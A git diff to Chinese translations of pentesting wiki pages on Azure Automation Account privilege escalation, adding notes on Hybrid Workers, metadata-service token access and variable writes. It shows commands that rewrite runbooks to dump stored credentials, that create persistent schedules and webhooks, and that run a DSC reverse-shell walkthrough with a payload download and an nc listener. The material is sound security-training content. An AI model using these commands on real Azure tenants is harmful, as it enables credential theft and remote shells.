diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index be5b79492..4623df346 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -10,11 +10,20 @@ ../az-services/az-automation-accounts.md {{#endref}} +### Hybrid Workers + +请记住,如果攻击者能够在混合工作者中执行任意运行簿(任意代码),他将**转移到虚拟机的位置**。这可能是本地机器、不同云的VPC,甚至是Azure虚拟机。 + +此外,如果混合工作者在Azure中运行并附加了其他托管身份,运行簿将能够访问**运行簿的托管身份以及虚拟机的所有托管身份,来自元数据服务**。 + +> [!TIP] +> 请记住,**元数据服务**的URL与获取自动化帐户的托管身份令牌的服务不同(**`http://169.254.169.254`**)。 + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -总的来说,这些权限允许在自动化帐户中**创建、修改和运行 Runbooks**,您可以利用这些权限在自动化帐户的上下文中**执行代码**,并提升到分配的**托管身份**的权限,泄露存储在自动化帐户中的**凭据**和**加密变量**。 +总之,这些权限允许**创建、修改和运行自动化帐户中的运行簿**,您可以利用这些权限在自动化帐户的上下文中**执行代码**并提升对分配的**托管身份**的权限,并泄露**凭据**和**存储在自动化帐户中的加密变量**。 -权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许使用以下方式修改自动化帐户中 Runbook 的代码: +权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许使用以下方式修改自动化帐户中运行簿的代码: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -27,9 +36,9 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -注意前面的脚本如何用于**泄露用户和密码**的凭据以及存储在自动化帐户中的**加密变量**的值。 +注意之前的脚本如何可以用来**泄露用户和密码**以及存储在自动化帐户中的**加密变量**的值。 -权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布Runbook,以便应用更改: +权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布一个Runbook,以便应用更改: ```bash az automation runbook publish \ --resource-group \ @@ -38,7 +47,11 @@ az automation runbook publish \ ``` 权限 **`Microsoft.Automation/automationAccounts/jobs/write`** 允许用户使用以下方式在自动化帐户中运行 Runbook: ```bash -az automation runbook start --automation-account-name --resource-group --name +az automation runbook start \ +--automation-account-name \ +--resource-group \ +--name \ +[--run-on ] ``` 权限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** 允许用户使用以下方式读取自动化帐户中作业的输出: ```bash @@ -51,7 +64,7 @@ az automation runbook create --automation-account-name --resource ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -此权限允许用户使用**分配用户管理的身份**到自动化帐户: +此权限允许用户使用以下方式**将用户管理的身份分配**给自动化帐户: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -69,7 +82,7 @@ az rest --method PATCH \ 通过权限 **`Microsoft.Automation/automationAccounts/schedules/write`**,可以在自动化帐户中创建一个每15分钟执行一次的新计划(不太隐蔽),使用以下命令。 -请注意,**计划的最小间隔为15分钟**,而**最早开始时间为未来5分钟**。 +请注意,**计划的最小间隔为15分钟**,并且**最早开始时间为未来5分钟**。 ```bash ## For linux az automation schedule create \ @@ -91,7 +104,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -然后,使用权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 可以通过以下方式将调度程序分配给运行簿: +然后,拥有权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 后,可以使用以下方法将调度程序分配给运行簿: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -116,7 +129,7 @@ az rest --method PUT \ 拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`** 后,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。 -请注意,您需要 **指明 webhook URI** 以及要使用的令牌。 +请注意,您需要 **指明 webhook URI** 及要使用的令牌。 ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ @@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \ --content 'echo "Hello World"' # Run the unpublished code +## Indicate the name of the hybrid worker group in runOn to execute the runbook there az rest \ --method PUT \ --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ @@ -180,32 +194,48 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -这将自动将运行簿从Github存储库导入到自动化帐户,并且通过一些其他权限开始运行它们将**可能提升权限**。 +这将自动从Github存储库导入运行簿到自动化帐户,并且通过一些其他权限开始运行它们,**可能会提升权限**。 -此外,请记住,要在自动化帐户中使用源控制,它必须具有角色**`Contributor`**的托管身份,如果是用户管理的身份,则可以通过在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中设置要使用的用户管理身份的**客户端ID**来进行配置。 +此外,请记住,要使源控制在自动化帐户中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。 > [!TIP] -> 请注意,一旦创建源控制,就无法更改其存储库URL。 +> 请注意,一旦创建源控制,就无法更改存储库URL。 +### `Microsoft.Automation/automationAccounts/variables/write` + +通过权限**`Microsoft.Automation/automationAccounts/variables/write`**,可以使用以下命令在自动化帐户中写入变量。 +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"name": "", +"properties": { +"description": "", +"value": "\"\"", +"isEncrypted": false +} +}' +``` ### 自定义运行时环境 -如果自动化帐户使用自定义运行时环境,则可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当执行使用该自定义运行时的运行簿并加载自定义包时,恶意代码将被执行。 +如果一个自动化账户使用自定义运行时环境,可能会有机会用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。 ### 破坏状态配置 **查看完整帖子:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- 第1步 — 创建文件 +- 第一步 — 创建文件 -**所需文件:** 需要两个PowerShell脚本: -1. `reverse_shell_config.ps1`:一个获取并执行有效负载的期望状态配置(DSC)文件。可以从[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)获取。 -2. `push_reverse_shell_config.ps1`:一个将配置发布到VM的脚本,位于[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。 +**所需文件:** 需要两个 PowerShell 脚本: +1. `reverse_shell_config.ps1`:一个获取并执行有效载荷的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。 +2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。 -**自定义:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效负载标识符。 +**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载荷标识符。 -- 第2步 — 压缩配置文件 +- 第二步 — 压缩配置文件 -将`reverse_shell_config.ps1`压缩为`.zip`文件,以便准备传输到Azure存储帐户。 +将 `reverse_shell_config.ps1` 压缩成一个 `.zip` 文件,以便准备传输到 Azure 存储账户。 ```powershell Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` @@ -215,9 +245,9 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she ```powershell Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- 第4步 — 准备Kali Box +- 第 4 步 — 准备 Kali Box -Kali服务器从GitHub存储库下载RevPS.ps1有效负载。 +Kali 服务器从 GitHub 仓库下载 RevPS.ps1 有效载荷。 ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` @@ -229,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 - 第 6 步 — 托管有效负载并设置监听器 -启动 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。 +启动一个 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。 ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 5f41ea4bc..0a51b3e77 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -1,56 +1,56 @@ -# Az - Automation Accounts +# Az - 自动化账户 {{#include ../../../../banners/hacktricks-training.md}} ## 基本信息 -Azure Automation Accounts 是 Microsoft Azure 中的云服务,帮助 **自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供 **Runbooks**(执行的自动化脚本)、**计划**和 **混合工作组** 来运行自动化 **作业**,实现基础设施即代码(IaC)和流程自动化,以提高管理云资源的效率和一致性。 +Azure 自动化账户是 Microsoft Azure 中的云服务,帮助**自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供**运行簿**(执行的自动化脚本)、**计划**和**混合工作组**来运行自动化**作业**,实现基础设施即代码(IaC)和流程自动化,以提高管理云资源的效率和一致性。 ### 设置 -- **凭据**:密码仅在自动化帐户内的 runbook 中可访问,用于 **安全存储用户名和密码**。 -- **变量**:用于存储可以在 runbooks 中使用的 **配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是 **加密存储**,则仅在自动化帐户内的 runbook 中可用。 -- **证书**:用于存储可以在 runbooks 中使用的 **证书**。 -- **连接**:用于存储与外部服务的 **连接信息**。这可能包含 **敏感信息**。 -- **网络访问**:可以设置为 **公共** 或 **私有**。 +- **凭据**:密码仅在自动化账户内的运行簿中可访问,用于**安全存储用户名和密码**。 +- **变量**:用于存储可在运行簿中使用的**配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是**加密存储**的,则仅在自动化账户内的运行簿中可用。 +- **证书**:用于存储可在运行簿中使用的**证书**。 +- **连接**:用于存储与外部服务的**连接信息**。这可能包含**敏感信息**。 +- **网络访问**:可以设置为**公共**或**私有**。 -## Runbooks & Jobs +## 运行簿与作业 -Azure Automation 中的 Runbook 是一个 **自动执行任务的脚本**,在您的云环境中运行。Runbooks 可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如 VM 管理、补丁或合规检查。 +Azure 自动化中的运行簿是一个**自动执行任务的脚本**,在您的云环境中运行。运行簿可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如虚拟机管理、补丁或合规检查。 -在 **Runbooks** 中的 **代码** 可能包含 **敏感信息**(如凭据)。 +在**运行簿**中的**代码**可能包含**敏感信息**(如凭据)。 转到 `Automation Accounts` --> `